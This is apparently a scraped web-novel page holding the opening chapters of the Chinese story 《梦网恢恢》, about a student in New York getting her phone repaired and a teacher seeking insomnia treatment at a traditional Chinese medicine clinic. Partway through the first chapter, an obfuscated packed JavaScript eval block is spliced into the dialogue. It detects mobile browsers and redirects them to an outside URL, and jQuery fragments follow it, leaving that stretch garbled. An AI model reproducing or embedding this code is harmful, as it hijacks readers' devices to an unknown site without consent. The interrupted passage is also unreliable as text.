《梦网恢恢》 1. 福祸相倚,冤家不撞不相识 “喂,说你呢,撞人了看不见呐。” “?不好意思啊,碰着您哪了,要不要送你去医院检查下啊。” “手机被你一撞摔坏了,赔我手机就可以了,原价8000多,我才用不到一年,赔我5000就行了。”传岚翻了个白眼,没有理会对方是否阴阳的话。 “你没事吧大姐,这5000凑凑都能买个新的了。”对方显然很不满意这个价位。 “哦,你也知道还得凑凑啊,我因为你的疏忽都要多花3000多了,我还没抱怨你抱怨什么,你有什么不知足的。”纪传岚无语道。 “咱就是说,这手机就不能修修吗,修下又花不了几个钱,赔你2000怎么样,修手机完全够用了。” “不行,我的手机向来只换不修的。” “你这是故意讹人吧,谁家好人东西坏了不先想着修就光想着换新的啊。” “我。” “为什么啊?”听到这的方思域也是哭笑不得,感到十分无奈。 “这修理的时候谁能保证他会不会窃取泄露我的隐私啊,又不是没有的事儿,为了省几个钱留这么大隐患不值当。” “原来你是担心这个,这好办,我有个朋友会修家电,也是中国人,他们一家都住这儿,离这也不远,家里是开店修家电的,技术蛮好,我带你去现场修,你盯着他修,修理费我出,再赔你500块行不行。” “你的手机。” “干什么?” “我的手机摔坏了,借你的手机给我家里打个电话报备下行程。” “没想到你安全意识还蛮高嘛。”方思域掏出手机递给传岚。 “你没听网上说熟人作案占比很大吗,不能因为咱两都是中国人就对你毫无防备吧。”传岚这边跟寄宿家庭说明了情况,并交代自己晚上八点之前会回来,如果没有回来就报警,八点之前有事可以打这个电话,手机修好后会回电。 “你也别觉得你是男的就万事大吉,一点防备没有,像你这种在国外说不定就是某些变态的天菜。”纪传岚上下扫了两眼。 “咦,你别说了,怪恶心的,赶紧走吧,趁早修好你也好早点回去。”方思域抖了抖身体,捋了捋胳膊上的鸡皮疙瘩。 “不过说真的,你东西坏了都是不修直接买新的吗?” “就只有手机电脑而已,除了倒霉碰到你这次,其它都是正常更换,没有用坏的。” “得,都是我的问题,对了,还不知道你叫什么呢,我叫方思域。” “纪传岚。” “我们加个微信吧,也算是不撞不相识,有事可以互相帮忙。” 纪传岚指了指碎裂花屏的手机,戏谑地看着他,扯了扯嘴角。 方思域不好意思转换话题,“你在这边是上学还是工作啊?” “念书,你呢?” “我也是,你哪个学校的,什么专业啊?” “纽约大学,心理学,你呢?” “那我们离得很近了,我在哥大,法学专业。” “哦,那很厉害了。”传岚适当捧哏。 “你跑这么远,就为了读个心理学?是因为很喜欢吗?”方思域觉得不可思议。 “还好吧,就是不知道喜欢什么,恰好对心理研究有点兴趣,就先来念两年书。” “你本科是在国内读的吗,也是学心理的?” “不是,我本科念得中医学。” “哦,医生啊,那很好啊,怎么会跨这么大跑这么远就为学个心理学呢?” 传岚又翻了个白眼,懒得接话。 “哦对,你说过了,你是不知道自己喜欢做什么,可是你不觉得可惜吗,学医那么苦,好不容易熬过了本科,再坚持读个研或者再读个博就出来了,一下放弃不难受吗。” “没人说你话多吗,问这么多,查户口呢,简单问两句得了呗,一直问问问,给你脸了是吧。”被问烦的传岚呛了两句,不再回他话。 不过此时已然熟络起来的方思域并没有因此感到任何不高兴,依旧笑呵呵的带路。 好的是离得不远,走了没多久就到了,坏的是走过来的一路上都听这个叫方思域的话痨叨叨叨,叨叨叨的吵了一路。 方思域在前面像个东道主一样热情的介绍着他在这里熟识的人,以及他们各自都有什么样的特长和优点,并不时地转过头来推荐他可以加一下这里的老乡群,说是有什么问题随时都可以在群里求助,大家都很热情,能帮忙的都会毫不吝啬帮忙,帮不了的也会推荐帮忙找可行的路子,结识老乡是出门在外要学会的必不可少的一项技能。 到目的地后,方思域与年轻的店主打了招呼,并简短说明来意,老板一副了然的样子,接过手机就在一堆工具跟前拆机检查去了。 年轻的店主在旁边一阵捣鼓,纪传岚果真不错眼地盯着他操作,那边的方思域像回到自己家一样,这边逗弄一会,那边摆弄一下,待手机修好回到纪传岚手中时又凑到跟前,与有荣焉般炫耀道:“呐,是不是一模一样啊,我就说他技术很好了。” “不是我吹啊,除了人心,我什么都能修啊。”听到夸奖的店主也没谦虚,似是有十分把握自己的手艺就是如此好。 “这么夸张,是不是真的什么都能修好啊?”传岚心下一动,想起件事。 “那当然了,你想修什么都可以拿来哦,我不行还有我爸,几十年的功夫了,不在话下。” “我还有个手机,不过损坏比较严重,早先已经修过一次了,没修好。里面有比较重要的东西,如果你真的能修好的话,我一定重谢你啊,到时候请你吃大餐。” “不算我啊,是我带你过来的啊。”方思域凑到跟前插话道。 “带你带你。”传岚敷衍。 “你有带吗?”店主接着问。 “今天没带。” “那你改天带过来我看看。”店主说着抽出一张名片,“记住我的店名啄木鸟家电跟地址啊,有事就打这个电话。” 手机既已修好,且有能修好另一部手机的希望,纪传岚便不再追究,回了寄宿妈妈消息后与店主商议好时间后就要告辞,时间也不早了。 方思域想传岚既有这么高的防范意识,想必大晚上一个人回去还是害怕的,且今天搞这么晚确实也是因他而起,便提出要送他回去,传岚也不客气,两人就还是沿来时的路回去。 送到楼下,纪传岚叮嘱方思域回去的时候注意安全,方思域说了好,看他进了门,便撒腿就跑。 想想他说的也对,男孩子在外也不是一定安全的,纵然自己的体魄还算强健,有个近一米八的个子护体,但毕竟相貌堂堂一表人才,在这异国他乡,双拳难敌四手何况对方可能还有武器加持,还是低调点注意保护好自己的好。 纪传岚嘴上计较,但心里早就不介意了,看楼下早没方思域的影后还莫名有种唏嘘的感觉,这大概就是离乡更思愁,异国倍亲邻的感觉吧。 就算是并不相熟的关系,因着一样的肤色,讲着一样的话语,就觉得像是见到了久违的亲人朋友一般令人生出稍许的安心与喜悦。 回过神来,传岚自窗边过来,从压箱底里翻出包的严实的手机,放在床头柜上,想了想,还是发消息约了方思域,希望明天他能抽出时间陪自己再去一趟啄木鸟的店,热心的方思域自然应承了下来。 手机钥匙卡,提前准备的东西都已准备妥当,想来也没问题了,传岚便躺在床上刷手机。 无意点开方思域的朋友圈,被对方满满当当的分享震惊到,一指头滑上去还滑不到底,划拉的食指都酸,各种眼花缭乱的户外活动,一看就是个热爱生活并享受当下的年轻人,精力真是旺盛。 这绝对不是年轻人,年轻人哪有这么多活力,肯定是披着年轻人外衣的老年人。 传岚还没细看就觉得累了,赶紧从他的主页里退了出来,退出来才划了两下就又看到了他的新内容。 传岚看着朋友圈里连刷个牙都要晒下的方思域,突然冒出‘他该不会是个钓鱼的吧,不然哪个男的这么爱发朋友圈’的想法。 方思域看着刷牙又刷出血的脸池,后悔这几天没管住嘴,这下好了,吃上火了,牙龈敏感就是麻烦,影响吃饭。 对了,纪传岚不是说他本科读的中医学嘛,找他要点食疗去火的方子不就好了,也不用花钱去看病吃药,食疗也是吃饭,真是太好了。 想到这的方思域立马跑去拨通了视屏通话。 刚在背后蛐蛐别人,别人的电话立马就打了过来,果然人还是不能做坏事,突如其来的巨响视频铃声唬的传岚还没反应过来,手就快速的摁掉了通话。 被挂掉视屏电话的方思域也没反应过来,眨了眨眼,不是都验证过自己是好人了吗,怎么还这么重的防备心。 “不好意思哈,家里人睡得早,不太方便接视屏,请问有什么事吗?”平息了下怦怦的心跳,传岚打字过去礼貌询问。 “想问下你有没有靠食疗去火的方子,最近牙龈上火吃饭都吃不香。”原来是这样啊,但是,美国人都睡这么早的吗,现在才十点多。 …… “上火造成的牙龈出血,食疗的话,平时可以适当的吃点绿豆、百合,这两样有清热降火的作用,也很容易买到。 “再就是可以吃点西红柿、西兰花、油麦菜、百香果、猕猴桃等,适当补充下维生素,还有就是刷牙的时候不要太大力,免得牙龈出血的症状加重。”传岚虽然无语,但还是老实想了想给出了建议。 “没了?”一点肉没见着的方思域急了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530080|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没了,食疗的话基本上就是这些,你要是嫌麻烦,也可以去药店买那种几块钱的维生素来吃,平时不要吃辛辣油腻的,清淡饮食,过段时间就好了。” “人又不是兔子,怎么能老是吃素?再说了,这外国的水果蔬菜好贵啊,有没有其它的方子。”方思域看着手机上冷冰冰的字胃里已经开始饿了,很想立马热锅烧油做顿好吃的抚慰下自己。 “那你就喝绿豆汤好了,便宜,再买点维生素吃,忌口一段时间就好了。”方思域看着自己刚打完字对方就急不可耐蹦出来的问话,想起他赔手机时的讨价还价,又耐心给出建议,看来是个不怎么富裕的留子。 “这是贵的问题吗?不是啊纪医生。” “?”不是他说贵的吗,这会又在说啥。 “能吃肉吗?能吃辣吗?” 感情是个爱吃辣的肉食主义者啊,“能吃肉,辛辣油腻最好还是忌口一段时间,要是实在忍不住想吃辣的,可以尝试换成酸口的替换下。” “谢谢纪医生。”得到想要答案的方思域这才松了口,恢复了之前的轻松诙谐状态。 “不要叫我纪医生,我不过学了点皮毛,你要是不舒服还是建议你去正规医院看下的好。” “没事,我这就是上火,小问题,还用不着去医院。” “好的,那先这样,你也早点睡吧,明天还要麻烦你再陪我去趟啄木鸟呢。” “好说,举手之劳的事儿。”这两人互道了晚安,结束了今天的寒暄。 纪传岚睡前又忙忙碌碌的翻了几套衣服,折腾到十二点才睡去。 第二日,传岚早早来到店里,发现方思域早在那里和店主小孟师傅聊起了天,看见传岚进来,走来打了招呼,传岚向两人问好后将包着的手机拿出递给小孟师傅。 “哇,这真的蛮严重啊,屏幕都碎成渣了,还不知道里面怎么样,我先看看哈。”店主小孟师傅打开包装,发出一声惊叹,然后在工具角那进行清理拆机,仔细查看。 传岚和方思域对看了一眼,将目光复又投向孟师傅一连串的动作上。 “幸好幸好,只是CPU的三盖损坏了,还是可以修理恢复数据的,再严重点就没法修了。”小孟师傅既专业又耐心地检 查排除了手机主板上的各种问题,得出了有希望修好的结论,为眼前这位始终盯着他看的顾客定了下心。 传岚松了口气,但没一会又提起精神,专心等着手机修好。 “怎么,这手机里藏了宝藏了,看你这么紧张。”方思域看传岚一副很是重视的神情,好奇问道。 “宝藏倒是没有,宝贝还是有的。”传岚对于隐私方面还是一如既往注意,并不跟不相干的人轻易说出相关的信息。 “什么宝贝?” “ONEPIECE的手绘地图。” “哈哈,你真爱说笑。” “我没说笑啊,我等手机里这张地图了等了八年了,就等着出发了。”传岚神情自若。 …… “那算我一个吧,我也想去寻宝。”方思域也不觉无聊的接下了话题。 “再说吧,这寻宝的旅途都是艰难险阻困难重重的,我不想要一个没有毅力跟我不同心的伙伴拖后腿。”传岚将注意力 放在小孟师傅身上,随意接着话说道。 方思域不知道对哪句话认了真,着急辩道:“你怎么知道我没有毅力跟你不同心,你又怎么知道我会拖你后腿啊,你都没找我试一下。” 小孟师傅在修好CPU,更换了手机屏后,仔细擦拭着进行最后一道工序,前边专心于修手机没注意这两人在这絮絮叨叨说些什么车轱辘废话,后边就只听清了句“你都没找我试一下”。 小孟师傅一脸疑问,试一下什么,要试什么,试一下手机修好没?于是他把手机递给纪传岚的时候说:“思域说得对啊,你试一下。” 传岚听见小孟师傅接过的话,嘴角抽搐了下,没再理会方思域。三个人凑到一起看传岚开机检验手机修好的成果。 传岚点开通话记录,见最后一通电话是尾号7266打来的,通话时间只有三分半。 手机既已修好,传岚也不拖沓,付完钱顺势约定下请吃饭的日子,小孟师傅虽有心谦让推辞,但抵不住方思域早就点的如捣蒜的头。 接诊的纪教授是个四十多岁的医生,从外表上也看不出医术的好赖,寻常把脉问诊后开了调理的药方。 不一样的是他交代完注意事项后又特意补充道:“若是一个月吃完还没好完全,一定不要放弃,过来这边我们换药方。” 舒华听见叮嘱稍感意外,想起医院里人山人海,一个患者后面往往等着一群患者,医生从来都是速战速决的对待,不禁有些感动,心下决定老老实实遵从医生的叮嘱,一个月后看效果。 2. 寻医问药,舒华初识仁济堂 “十二号~ “十二号~ “十二号还在吗?” 舒华从神游中反应过来时,前面几个叽叽喳喳的老头老太太早就走的没影踪了,穿白褂的年轻女医生隔着柜台叫了好几遍。 “在,在,不好意思哈,刚没听见。”舒华忙答应着从等待的休息椅上起来,扫了一眼从进门到现在一直趴在里边桌子上睡觉的人,见他还纹丝未动的趴着没醒,莫名放下了心。 “喊那么大声还没听见,名字。”名牌上显示卓雅的女生嘟囔道,明显有点不高兴。 “舒华。”舒华不好意思地忙将身份证递过去。 只见对面的人将身份证往机子上一放,见电脑上并无显示任何就诊及开药信息。 “第一次来吗?”卓雅抬头问道,并将身份证递还回去。 “对。” “哦,是这样的,我们一三五七是李教授和孙教授坐诊,二四纪教授坐诊,今天没有大夫坐诊,只能拿药,那边有就诊 值班时间和各个大夫擅长诊治的病症,你看好时间下次再来吧。”卓雅语气放缓叮嘱道。 舒华长叹一声,遗憾的说了句:“好吧”。 舒华身上不得劲已经很久了,但他没法跟别人说。 如果别人知道他哪里不舒服怎么不舒服,估计不仅不会同情体谅他,反而还会不以为意敷衍或背地里轻蔑地笑话他,所以他没敢告诉任何人。 过来仁济堂也是机缘巧合之下得人推荐,实在是遍寻名医久治无果,竟有些死马当活马医,有枣没枣打一杆子的味儿。 舒华摇摇头,甩掉脑海里乱七八糟的想法,走去医生简介那里细细看了各位大夫的信息。 大夫不多,就三位,两下就看完了,舒华看完后将目光停留在纪明礼教授的个人信息上,北京中医药大学的博士生,个人简介上满满一页的荣誉与成就,舒华只记住了一句擅长治疗失眠多梦。 是的,舒华不好意思说出口的病症仅仅只是个失眠多梦。 舒华回身看着忙碌的卓雅,过去休息椅那坐下,想着等他忙完可以打听下大概的费用,好心里有个准备。 “郭奶奶,你的药,拿好啊,还是老样子,一天三次一次一包,平时注意忌口腥辣油腻,不贪嘴吃太多,有空多出去走走晒晒太阳,总共三百五十六块,下个月有空再来让孙教授给您把个脉,复查下哈。” “三百五十块,一点也不算嘛。”舒华心想,自己完全可以负担。 “我晓得嘞,小卓医生,谢谢你啊,有空来我家吃饭啊,我大孙子再有一个月就放暑假了,你来相看相看他啊。” “成啊,等我有空啊。” “那就这样说好了啊,我回去就给我大孙打电话说下。”惦记着孙子终身大事的郭奶奶着急出门,没一会又推门回来, “对了小卓啊,你能给我开点安眠的药不,就是以前彤彤失眠吃的那药,我有个老同事,他孙女高考压力太大睡不好,我想着帮他问来着差点又忘了。” “这哪能乱开啊郭奶奶,中医讲究的是一病一方你又不是不知道,那彤彤的药方不见得就对别人管用啊,再说了,纪老师今天不坐诊,就是人来了也没用啊,况且人还不在这儿,你还是跟人家说清楚,有需要就过来面诊啦。” “小卓医生说的是,我想着都是失眠,彤彤吃好了,那肯定是管用的,也给那闺女开点吃吃,没想那么多,那我跟他们说让他们过来瞧瞧。”郭奶奶略显不好意思,打了招呼又回了。 舒华听清楚了,郭奶奶说他孙子的失眠问题看好了,他觉得这儿看的好还想替同事小孩拿药。 舒华打算再坐会,再听一听,看还有没有其他更有用的信息。 “你就这么答应啦?郭奶奶他孙子才上大二,就比传人大两岁,你好意思老牛吃嫩草啊你。”孙立德停下手里秤药的动作,将小秤搁在柜台上。 “我有什么不好意思的,又不是我非要吃这棵嫩草,是郭奶奶非要让我当他家孙媳妇的,这自打第一次来咱这到现在前前后后说了三四次了,郭奶奶喜欢我,那是我人好,你羡慕不来的,有本事你让郭奶奶讨你做他的孙媳妇啊,我不跟你抢。” “我人好~,你当然好,你天下第一好,谁能好的过你去,既然这样,好人卓雅,明天的排班能不能替我啊。”孙立 德阴阳怪气学嘴卓雅,边说边将秤拿起又丢在一旁,翻箱倒柜的给自己配几味药降降酸气。 “不能,我周末有约了。”卓雅无视掉孙立德的话,专心整理着手里的病例,心里快速过了一遍不同病症对应着方子里的药材。 是没有用的信息,算了,还是先回去吧。 舒华正想着回去呢,却见从门外风风火火的闯进来几个人,几人一进来就气势汹汹地冲到穿白卦的两个医生面前,破口大骂起来。 其中一人“啪”的一声将单子拍在柜台上,口中嚷着:“就是他们家开的方子,把人吃出问题的方子就是他家开的。” 随后从后面走过来一人,哭喊着说:“就是你们害我妈进的医院,你们这些庸医,丧良心啊。” 卓雅看着突然冲进来的几人,一时没反应过来,懵在原地,还是孙立德抢到跟前将他护在身后,再看旁边,被吵醒的传人也不知何时站在了自己外边的位置。 孙立德说:“有事好好说,这是干嘛啊。” 为首的中年男人走上前来指着孙立德说:“是你,那你应该记得我,前些日子我带我妈来你们这看的病,就是你们给开的方子,把我妈吃出问题了,那个上吐下泻啊,现在还在医院抢救呢,你们说怎么赔。” 孙立德仔细辨认后发现确是一个月前来看病的患者,随即定了定心神,说:“我记得你,带你妈来看心口痛的,但是你搞清楚啊,你当时看完医生,说药太贵了钱没带够过两天再来,拿了方子后就走了。 “你们都没拿药,出问题怎么能赖在我们身上。” 男人有些恼羞成怒,大声说:“怎么不是你们的问题,这方子是你们开的,这吃出问题了就该你们负责。” 孙立德气极反笑,说:“你不要血口喷人啊,我们这的医生都是在省中医退休的老教授,开的方子绝对没有任何问题。 “况且我当时就跟你说清楚了,不要自己 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男人瞪了一眼孙立德,解释道:“妈除了吃药还不得吃点补品啊,光吃药身子都吃垮了,剩下那钱给妈买补品了。” 一进来就哭喊的女人说:“你放屁,妈都没牙了,什么补品能吃近两千,这钱该不会是你贪了吧。” 男人恶狠狠地说:“你不要冤枉人啊,那没牙了不能喝啊,燕窝不要钱啊,你不信等妈醒了问他,再说我们今天过来是干嘛的,是互相猜疑揭短的吗,你不要说些没用的废话。” 女人不服气还想说些什么,被一旁的中年妇女以一句“老三!”喝住。 卓雅跟孙立德也听出来点意思,心里更加明亮有底了。 躲地远远的舒华见门口已经聚了一堆人,想着是赶紧出去还是再看会热闹,正想着,忽的听见睡醒的少年说:“还是报警吧”。 两拨人听见报警的话同时安静了下来。 少年说:“反正我们的方子没有问题,你们家老人吃的不舒服,在医院不是刚好可以查一下吗,等警察来了,什么都好说。” 妇女见男人没说话,心里已经了然,便开口道:“先不着急报警,老人进医院,我们也是心急,等我们问好医生看到底是怎么回事再过来。” 说着扯着男人的衣服就出去了。 卓雅看着这一伙人风一样的来,又风一样的走了,不禁开口:“卧槽,他们是来搞笑的吧。 “气死我了,他说是我们的问题就是我们的问题啊,这明显是贪便宜用了什么假药,出问题了,跑我们这浑水摸鱼讹人来了。 “真是搞笑,不说白嫖我们的方子,怎么还有脸做这种事,他也不打听打听我们仁济堂的实力,怎么敢啊。” 舒华见事情已经解决,也不久待。 出了门,依旧在台阶上稍作停留了几秒钟,回忆着刚才获取的有效信息,决心过两天再来瞧瞧,他望向来时路,紧了 紧身上的衣服,像下定了决心,不再做停留地投身于人潮中。 身边汹涌的人海,一波涌向一波,从四面八方而来,稍不注意就会碰到别人。 3. 代班风波,糊涂人闹乌龙事 舒华不喜欢当老师,他的梦想是做个能徜徉在书海里的编辑,但现实的是,出版社不要本科生,即使他的学历是211,虽然是末流。 不信邪的结果就是被现实击垮的舒华在家躺了半年,半年后在老父亲赔笑卖人情的操作下去了当地较好的一所高中做合同工,说是之后再考个事业编就好了。 舒华自我安慰,现在从事的工作也是与书相关的,教书育人嘛,怎么不算跟书打交道呢。 本着不能误人子弟的良心想法,舒华兢兢业业的备课讲课,讲课备课,日复一日,时间久了让他生出这样似乎也还不错的想法。 如果自己不失眠多梦的话。 教书的这一年多时间里,舒华一直处于缺觉的状态,白天打不起精神,晚上又睡不好觉,这直接导致他还算不错的记性直线变差,脑子昏昏沉沉的浪费一整天时间,这对当老师的舒华来说影响太大了。 所以他开始寻求解决的方案,主动去医院检查,配合医生吃各种的药,但是效果都不佳,直到处于失去耐心边缘时被 注意到的同办公室李彤老师推荐他去仁济堂尝试下中医。 舒华感恩李老师像个大姐姐一样照顾自己,心想着有机会一定要回馈他。 心里惦念着,机会就来了。 李彤老师约了医院产检,托他今天帮忙带一节课,舒华对李老师的珍珠班虽有点犯怵,但想着互帮互助,便硬着头皮答应了。 为了给珍珠班讲好这节课,舒华熬了个大夜备课。 按部就班讲完课件上的所有内容,还没到下课时间,舒华看了眼钟表,还有五六分钟,回想了一遍自己的整体节奏还算可以,舒华开口问道:“老师这边整理了一些关于这节课的延伸知识,大家有没有兴趣听一下啊。” 无人回应。 舒华想起来了,这节课之所以讲完了还没到下课,顺畅到一点也没卡壳,是因为中途并没有人举手问问题,大家都低着头在做卷子,安静的只有他讲课的声音和底下刷刷的写字声。 是了,这是一个理科班,语文对于他们而言,是不用费功夫费时间去学习的,又或者,舒华对他们而言,只是带一节课的普班老师,是不用在意不用害怕可以自习做理综卷子的过路老师。 舒华愣住了,他没考虑到这种情况,眼下是不讲了由他们自习还是大心脏的自顾自讲一点捱到下课? “好啊老师。”后排传来了一声回应,像石子投湖,圈圈荡漾,强而有力地打破了舒华凝固了的神情,讲台下面的学生也似追逐太阳的向日葵一样抬起了头。 舒华认得他,是上次在仁济堂睡得很香的男生,很明显,说这句话之前他还在睡来这,脸上还留着明显压出来的校服印子。 就几秒,舒华接住这句话顺势将昨晚精心查阅的资料拿出来科普,只是讲到中间才发现准备的资料少了一页,可是他既讲了秦始皇并非片面的暴君暴政,那他就得讲他的仁政部分和做出的贡献,偏偏少的是这页。 肯定是昨晚备课太晚,没睡好,早上着急忙慌的落了一页,早知道就不多此一举讲这些了,这下好了,原本不用丢脸的,自己上赶着要丢脸了。 舒华都被自己的糊涂气笑了,虽然没有资料那么详尽,现在也只能凭着记忆大概讲下然后让他们感兴趣的再课外找自己拿资料了。 “老师,这些我们历史老师讲过了,他也是这样说的。”传人再次发声。 “这样啊,既然历史老师讲过了,那我们就不讲了,学科联动是会有一部分知识重合的,还有两分钟就下课了,同学们 收拾收拾早点下课去吃饭吧。” 真是好学生,舒华很满意擅识眼色又体恤老师的学生,真是帮了大忙了。 舒华绷着劲上完课,下课铃声一响就卸了力,顿时精疲力竭席卷全身。 一个月了,虽然调理后精神较之前稍有改善,但睡着就做一晚上梦的问题还未解决,今天纪教授坐诊,下午没课,刚好可以过去复诊。 只是这位同学怎么会出现在医馆,现在这个时间不应该是上课的时间吗。 “纪医生,我来复诊。”舒华虽满心疑惑李老师的学生怎么会这个时间出现在医馆且还是坐在纪医生旁边在电脑上敲字,但他并未贸然去询问。 “我记得你,吃了一个月感觉怎么样啊?”纪医生记性还蛮好。 “有一些用,现在睡得倒是很沉,没再怎么失眠了,但是还是一直做梦,睡不醒,瞌睡特别多,还特别爱犯困。”舒华把特征尽可能的说详细,好让医生对症下药。 “休息的还行的话,最近情绪上怎么样啊,还是容易纠结内耗吗?” “最近稍微好点,我有时刻提醒自己。”舒华无法说出还是老样子的话,性格的问题也不是一两日就能改变的,但要是丝毫没有长进,未免有些对不起医生的叮嘱。 纪医生抬头,小姑娘不说实话,看这气色,肯定没少生闷气。 “你这情况属于是肝血不足,中医里讲‘人卧则血归于肝’,晚上多梦睡不好,白天精神就差些,给你开个温养的方子吃吃,不过吃这个药要配合早睡才有效果。” “这个多早算早睡啊医生。”原谅舒华,他需要一个确切的时间作参考。 “最好九点就睡,最晚九点半。还有这张单子上的你拿去配了白天当茶饮。”纪医生写完方子后叫了声传人。 传人点了点头,开口说道:“舒老师,这单子您拿好,您待会拿给前台的卓雅,他配完药会通知您来拿的。” “你老师?”纪明礼惊讶问到。 “没有没有,一个学校的,只是恰好今天帮忙带了一节课,我不是他老师。”舒华连忙解释到。 “这孩子,也不知道问个好,一点礼貌都没有,老师别怪啊,传人今天有点不舒服,下午请了假,本来让他躺着休息的,结果躺不住,就在我这呆会。”明礼佯作责怪说教了传人后向舒老师解释一番。 “是这样啊,怪不得课上看他趴着睡觉,原来早上身体就不舒服了,早点请假回去休息就好了,虽然快高考了,但保养好身体还是很重要的,传同学要好好休息啊。”舒华了然。 “……谢谢老师关心,老师也是,要保养好身体。” “那医生您忙,传同学好好休息哈。”舒华拿着单子去了前台缴费,想起上个月花了近一千五,看下这次换药方要花多少,一千三百二十五,还好还好,粮仓尚有余粮。 “见过了?” “见过了。” “还在课上睡觉?” “……昨晚复习太晚没睡好,犯困,就打了个盹儿,不算睡觉吧。” “回去让张阿姨煮点酸枣仁汤喝喝,你不熬夜也只是不亏气血罢了,怎么还熬夜,对咱们家来说,学习没有身体重要,你知道自己的,要是再熬夜,以后就不能再过来我这儿了,还是回你大伯那去。”明礼听见传人熬夜,假责备变真生气了。 “我知道了姑姑,以后会注意的,对了,大姐什么时候回来啊,都快过年了。”传人怕念叨的紧,赶紧转移话题。 “不知道啊,最近他也没发个消息回来,过年还不一定回来呢,他课程排的紧,再说了老外又不过新年。” “我都好久没见我大姐了,他要是过年不回来,我干脆买机票飞过去找他,给他个惊喜。”传人想起这个大自己六岁的亲姐姐,甚是想念。 “又胡说,你翻过年马上就要高考了,还有时间瞎胡闹,赶紧看书去,小心高考落榜被你几个哥哥姐姐笑话。”明礼收拾完桌面,看了眼时间,又看了看门外,今天没什么患者的话就早点下班回去歇息了,明早还要去医院值班呢。 “我又不怕他们几个笑话,真材实料的谁怕谁啊。”传人也跟着收拾关了机。 “又胡说了,谁不是实打实的真材实料,还能来虚的不成。”明礼又说,“不过这话可不能在你大伯他们面前说啊。” 传人怪怪的看了眼明礼姑姑:“哦,不过姑姑说得也对,是要看书去,不然真考不上,确实是会被笑话的。” “今天不过去你大伯那?” “不去,放假再说吧,大伯那挺无聊的,你这好,离学校近,上下学方便。”传人不想回去听他念紧箍咒。 “是怕你大伯念你吧。”明礼噗嗤一笑,将白大褂挂起来。 “没有啊,大伯那离学校远,来回不方便。” “怎么会,上下学不是都有你张叔接送吗,又不用你走路。” “怎么,姑姑不欢迎我,那我还是回去好了,反正我四处漂泊流浪,是个没人要的。”眼见说不过,传人开始浑说起来。 “你这孩子,说这刺人的话干什么,我没有小孩,你跟岚岚就跟我亲生的没两样了,问你是因为你过来许久没跟家里打电话了,你大伯心里挂念你,前两天还问我你最近学习怎么样,在我这好不好,他怕打扰你学习也没直接问你,问到我这了。” “两周前才发的消息,哪里好久了。”想飞出巢的小鸟低声说着。 “好了,你大伯那我说了,你也别管了,他是有些唠叨,但总归是为大家好的,走吧,今天下班早,我们去吃好吃的。”明礼也并不放在心上,传人平时太懂事,像他这个年纪的孩子偶尔说点胡话才鲜活。 “姑姑这么好,简直跟我妈妈一样,干脆不叫你姑姑,直接叫你妈好了。”传人哄姑姑的话信口就来。 “好啊,叫两声我听听。”明礼说笑期间顺手将诊室的窗户关好,物件摆放整齐。 “妈妈,妈妈,妈妈,妈妈。”传人收拾好背着书包凑在明礼耳朵跟前转着圈的一口一句妈妈。 前两句‘妈妈’听得明礼满面笑容,可后面再听,心酸就溢出来了,眼头也发热了,喉咙也发紧了。 “妈妈,我们待会去吃什么好吃的啊?” 明礼抱着传人轻轻拍了拍,“传人想去哪吃我们就去哪吃,姑姑今天高兴。” “那我以后都叫你妈,这样你天天高兴。” “姑姑高兴,你跟岚岚好好地,姑姑就高兴,你不用喊姑姑妈妈,你有妈妈,你也有姑姑。”明礼不忍再听传人懂事的搞怪。 “反正我都行,那我们去吃火锅吧,有点想吃火锅了。” “走。”明礼被传人拉着,欢欢喜喜的出了门。 ——纽约曼哈顿—— “什么,他这就走了,这么突然,还没到放假的时候吧。”方思域从孟伟这里听到纪传岚回国的消息时一脸震惊。 “是啊,这会应该要到了吧,你不知道吗?”孟伟停下手里的维修动作。 “他没跟我说,他跟你说了都没跟我说。”方思域幽怨说道:“我还以为我们关系蛮好呢,谁知道人家回去都没跟我说,你说他太过分了吧,大家都是中国人,一起约着回去难道不是默认的吗?他怎么自己一个人就跑了。” “是吗,可能人家有急事呢,这怎么好说。”孟伟想了想说。 “可是他都跟你说了。” “他也没特意跟我说,是上次修完手机,后面他一个人又来过一次,问了我一些问题顺口说的。” “他问什么?” “就问,‘孟师傅,我这坏手机在你们专业人眼里能一眼看出来能不能修好吗’我跟他说一眼肯定看不出来能不能修好,但专业的话,稍微仔细看看上手试试就知道能修好。” “然后呢。” “然后没说什么,我说他要是不回去过年的话,可以来这边,这里今年有舞龙舞狮的活动,很热闹,他说他已经定了机票,要回去了。” “就这样?”方思域不死心。 “就这样啊。”孟伟如实回答。 “没提起我?”“提你干嘛,打折用吗?你要想问自己问去呗,打个电话发个微信的事,在我这能问出个啥。” “哼,谁要问他,我又不是闲的没事做。” “你这可不是闲的没事做吗,期末了,天天往我这跑。” “期末怎么了,我学分都修够了,爱跑哪跑哪,你管得着么你。” “得,好赖话不听你,你就在这犟吧。”孟伟也不戳穿此时傲娇的朋友,继续忙自己的维修工作。 “时间也不早了,走吧,关门吃饭啊。”方思域眼见孟伟又去捣鼓电器,无人与他说话,甚是无聊。 “你先去吧,这收音机答应人家今天修好,明天来拿的。”孟伟无动于衷。 “这都什么年代了,谁还用收音机啊,就这破玩意还值当花心思维修,浪费时间。”方思域不仅话多,偶尔还嘴贱。 “你见识浅就少说话咯,这种老货是纪念品啊,已经绝版了,再说了,衡量物件的价值不仅仅是钱啊,更是情感啊你懂不懂?”孟伟不给方思域插嘴的机会,势要扭转他错误的思想。 “你当然不懂啦,懂就不会说出这种话了。像这类老古董呢,我有好些客人都拿来修过的,有的是小时候父母送的生日礼物,有的是人家得奖时的奖品,每一个都有特殊意义。 “再说了,这些华人离家在外,说小了,这些老物件是承载着自己幼时和家乡的情感,往大了说,更是连接自己和祖国的纽带啊,我不允许你贬低它们,你这是在侮辱我的职业。” “对不起啊,我不知道这些,只是,要不要这么夸张啊。”方思域道歉,但管不住嘴似得非得又加上一句。 “哼,你读两年书就回去了,当然没什么感觉,但我的客人,大多数已经在这里生活几十年了,定居在这,已经回不去了,你说夸张不夸张。” 